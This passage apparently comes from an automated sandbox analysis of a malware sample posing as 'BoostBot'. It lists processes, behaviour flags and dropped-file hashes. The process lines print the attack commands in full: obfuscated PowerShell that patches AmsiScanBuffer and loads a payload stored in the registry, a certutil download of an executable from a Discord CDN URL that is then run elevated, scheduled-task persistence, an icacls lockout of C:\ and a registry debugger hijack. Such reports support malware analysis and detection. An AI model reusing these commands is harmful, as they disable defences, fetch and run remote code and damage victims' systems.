IntPtr).GetType(),[string]),$Null);$enWRDMIYyAJoKmGVURa=WwLRZjDrFiSQ @([String])([IntPtr]);$iFOzXBcjSIsBdElUvtrlcI=WwLRZjDrFiSQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hOXMvXTmHCz=$LBjkpNymJHNPn.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+'u'+'l'+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$EaDCxPrmyumDjz=$PXjInHyivKflyt.Invoke($Null,@([Object]$hOXMvXTmHCz,[Object](''+'L'+''+[Char](111)+''+'a'+'d'+[Char](76)+''+'i'+''+[Char](98)+'rar'+'y'+'A')));$MJFtkLQtPiPvqXJAj=$PXjInHyivKflyt.Invoke($Null,@([Object]$hOXMvXTmHCz,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$oLeupIc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EaDCxPrmyumDjz,$enWRDMIYyAJoKmGVURa).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$xJbUgRsbLCNxQgjAg=$PXjInHyivKflyt.Invoke($Null,@([Object]$oLeupIc,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+'B'+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$wuNJtEpXpk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJFtkLQtPiPvqXJAj,$iFOzXBcjSIsBdElUvtrlcI).Invoke($xJbUgRsbLCNxQgjAg,[uint32]8,4,[ref]$wuNJtEpXpk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xJbUgRsbLCNxQgjAg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJFtkLQtPiPvqXJAj,$iFOzXBcjSIsBdElUvtrlcI).Invoke($xJbUgRsbLCNxQgjAg,[uint32]8,0x20,[ref]$wuNJtEpXpk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hhPuomBFISRc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cEgiaZZfwwobqh,[Parameter(Position=1)][Type]$WRVbOohlFn)$cxhgAnNiZnt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'fl'+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'Dele'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+'d'+'ul'+'e'+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+'el'+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e'+'T'+''+'y'+'pe',''+'C'+''+[Char](108)+''+'a'+'s'+'s'+',Pub'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+','+''+'A'+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$cxhgAnNiZnt.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+'id'+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$cEgiaZZfwwobqh).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$cxhgAnNiZnt.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'Ne'+'w'+'Sl'+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$WRVbOohlFn,$cEgiaZZfwwobqh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $cxhgAnNiZnt.CreateType();}$NrucsrRKGaUxJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'d'+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+'ros'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+'nsa'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+'e'+''+'M'+'e'+[Char](116)+''+'h'+''+'o'+''+[Char](100)+''+'s'+'');$oUXWclwRsWlHwU=$NrucsrRKGaUxJ.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JZkkRaMcVAPZXGzAClU=hhPuomBFISRc @([String])([IntPtr]);$XvdjoxdsHOodYDJyLqmyJx=hhPuomBFISRc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iaCckIdrKkc=$NrucsrRKGaUxJ.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+'2'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$peXcuoJDaWjtFj=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$iaCckIdrKkc,[Object]('L'+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$LDJHWGTTSxokGXruu=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$iaCckIdrKkc,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$jMuPcBm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($peXcuoJDaWjtFj,$JZkkRaMcVAPZXGzAClU).Invoke('am'+'s'+'i'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$NodlAWHufosIqtmdB=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$jMuPcBm,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$zqUPXVkNkW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LDJHWGTTSxokGXruu,$XvdjoxdsHOodYDJyLqmyJx).Invoke($NodlAWHufosIqtmdB,[uint32]8,4,[ref]$zqUPXVkNkW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NodlAWHufosIqtmdB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LDJHWGTTSxokGXruu,$XvdjoxdsHOodYDJyLqmyJx).Invoke($NodlAWHufosIqtmdB,[uint32]8,0x20,[ref]$zqUPXVkNkW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2008
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1172
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1204
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1300
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1308
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1324
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1444
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1476
-
c:\windows\system32\sihost.exesihost.exe2⤵PID:2976
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1484
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1540
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1560
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1672
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1772
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1784
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1800
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1824
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1936
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2012
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1864
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2276
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2284
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2316
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2420
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2452
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2464
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2472
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2488
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2572
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2936
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:3000
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3144
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3288 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe3⤵PID:1816
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:520 -
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:2096 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:2432 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:2852 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST5⤵
- Creates scheduled task(s)
PID:1212 -
C:\Windows\system32\icacls.exeicacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T3⤵
- Modifies file permissions
PID:2104 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f3⤵PID:3076
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"3⤵
- Views/modifies file attributes
PID:2188
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3816
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4076
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4756
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:3028
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵PID:3488
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2948
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:5096
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4056
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:3740
-
C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:3776
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:3324
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2108
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3784
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD59cde8a730c801248001cfa63f6b9db8e
SHA15f81fdd927dfe1e1446142f9c2c1a41907941806
SHA256f7578da34fc235099904fc5d423afffbf2b928d214cdbcc776db4dab05d113b9
SHA51250eddc04d6d117265c4cebcaaf919e7546a9e8a85bff32b0c7f1026a88f25e6af051521528f6cc4a487afeac4e7e8343df9d92a497dc703623e8519a8e445ff5
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E
Filesize556B
MD5bb74567bb32413f6e1f0cd6cda743615
SHA1ff159a7019834d56e147aef95d81c890e8bb1e08
SHA2566b54c250086257a88242b373cef292d9ced2e38a155039191560cc06ebee9a8f
SHA51244cca6cc189beb98b05b24806952a8157493dd808988114762409fa5e6439d602dba5277f678b29ac6e75b52afc47e8aad56c01723a5821f6401659330560a88
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize408B
MD53425078c1d514e4a8facf4f4dde7ed94
SHA1416c04dbef9eabcfa549eae48c255caaa819634a
SHA2562c5d910dd2f30e078092a122b1929173f3911f8131dcf0197140a656d61d5213
SHA5128325e079d071cdc57240ce217e497bb6dd4aec02e9977e8b501fb4fa0adc55076c510db92c33b77aa25327aad24b2872b7367cc9b5e98058d846573100a44af6
-
Filesize
409KB
MD5404ab800bbe49c36bd64d0d73600b59a
SHA14c8dff2702fada108f7477ad357067310b584366
SHA2565465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154
SHA512d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Filesize412B
MD5b389ac19a7f0d4eaabab67c287637b47
SHA174aafaf5772a4ed1e1b175b214a68eec7eb78bf9
SHA256aaa8be5adf6d1982e6416d3a0dc68393dfcdae4936effdeb59dfaa8b40d91028
SHA512f65e1cc14ea929f184df1c53992f7b39591be9cde2273cb0712fe9bba2d5585f51be7563056c3f0c211efb284f6a00bde28a13eadfcc5e73ecae1923ae003dcf
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5d61d7f65117823a52913b840feed43c6
SHA1e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f
SHA256d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86
SHA512e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c